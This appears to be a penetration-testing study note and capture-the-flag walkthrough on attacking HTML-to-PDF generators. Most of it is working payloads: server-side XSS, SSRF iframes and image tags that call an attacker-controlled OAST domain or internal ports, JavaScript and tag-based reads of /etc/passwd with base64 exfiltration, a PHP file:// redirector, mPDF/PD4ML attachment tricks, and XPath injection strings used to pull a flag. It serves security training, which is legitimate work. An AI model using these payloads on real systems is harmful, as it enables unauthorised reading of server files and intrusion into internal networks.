Exploitation
All techniques assume user-controlled HTML is fed into the PDF generator.
1) JavaScript Code Execution (Server-Side XSS)
Test HTML rendering, then JavaScript execution:
<b>bold-test</b>
<script>document.write('XSS-OK')</script>Leak server file path via window.location:
<script>document.write(window.location)</script>Outputs often show file:///.../tmp_wkhtmlto_pdf_XXXX.html revealing server paths.
2) Server-Side Request Forgery (SSRF)
Force outbound requests by loading external resources:
<img src="http://<your-oast-domain>/ssrf-img"/>
<link rel="stylesheet" href="http://<your-oast-domain>/ssrf-css">
<iframe src="http://<your-oast-domain>/ssrf-iframe"></iframe>If iframe responses render in the PDF (non-blind SSRF), you can read internal endpoints:
<iframe src="http://127.0.0.1:8080/api/users" width="800" height="500"></iframe>3) Local File Inclusion (LFI)
With JavaScript
<script>
function wrap(s){let out='';while(s.length){out+=s.slice(0,100)+'\n';s=s.slice(100);}return out}
const x=new XMLHttpRequest();
x.onload=()=>document.write(wrap(btoa(x.responseText)));
x.open('GET','file:///etc/passwd');
x.send();
</script>Without JavaScript
Direct tags (may be blocked):
<iframe src="file:///etc/passwd" width="800" height="500"></iframe>
<object data="file:///etc/passwd" width="800" height="500"></object>
<portal src="file:///etc/passwd" width="800" height="500"></portal>Redirect-based LFI (if file:// blocked but redirects followed):
Server-side redirector.php:
<?php header('Location: file://' . $_GET['url']); ?>Payload:
<iframe src="http://<your-server>/redirector.php?url=%2fetc%2fpasswd" width="800" height="500"></iframe>4) Annotations / Attachments
Leverage library-specific features to attach local files.
mPDF (older versions or enabled setting):
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="LFI" />PD4ML:
<pd4ml:attachment src="/etc/passwd" description="LFI" icon="Paperclip"/>Consult documentation for the target library and version (see metadata identification).
Notes
Always sanitize and encode when testing in real apps; proof in controlled labs.
Outbound network,
file://, and JS execution are all configuration-dependent.For large/binary file exfil via JS, prefer base64 with line wrapping.
Question 1 (lab walkthrough)
Goal: access an internal web app and exfiltrate the flag via PDF generator.
Add a new note; test HTML injection using
<b>test</b>.Only the Note body renders HTML → injection confirmed.
Enumerate internal ports (Apache) via LFI using JS:
<script>
const x=new XMLHttpRequest();
x.onload=()=>document.write(this.responseText);
x.open('GET','file:///etc/apache2/ports.conf');
x.send();
</script>Discover internal app on port 8000.
Interact with internal app (non-blind SSRF via iframe):
<iframe src="http://127.0.0.1:8000/" width="800" height="500"></iframe>Endpoints list shows
/users.
Probe
/usersto find key locations:
<iframe src="http://127.0.0.1:8000/users" width="800" height="500"></iframe>adminkey path:/users/adminkey.txt.
Exfiltrate key via Server-Side XSS + file:// read:
<script>
const x=new XMLHttpRequest();
x.onload=()=>document.write(this.responseText);
x.open('GET','file:///users/adminkey.txt');
x.send();
</script>Answer: {hidden}
Obtain the flag (skills assessment)
Visit root page, note PDF invoice generation and hint about an internal orders app.
Test fields for server-side execution:
Comment sanitized; try title via Burp.
JS probe (in title):
<script>document.write(window.location)</script>Enumerate internal ports via Apache config (in title field):
<script>
const x=new XMLHttpRequest();
x.onload=()=>document.write(this.responseText);
x.open('GET','file:///etc/apache2/ports.conf');
x.send();
</script>SSRF to internal web app (port 8000) using iframe (in title):
<iframe src="http://127.0.0.1:8000/" width="800" height="500"></iframe>The internal app exposes endpoints and an XML-backed
/withqGET param.
Exfiltrate flag via XPath injection (iframe in title):
Using contains on substring:
<iframe src="http://127.0.0.1:8000/?q=INVALID or contains(.,'HTB')" width="800" height="500"></iframe>Alternative substring:
<iframe src="http://127.0.0.1:8000/?q=INVALID or contains(.,'Flag')" width="800" height="500"></iframe>Or position-based selection:
<iframe src="http://127.0.0.1:8000/?q=INVALID or position()=7" width="800" height="500"></iframe>Answer: {hidden}
Last updated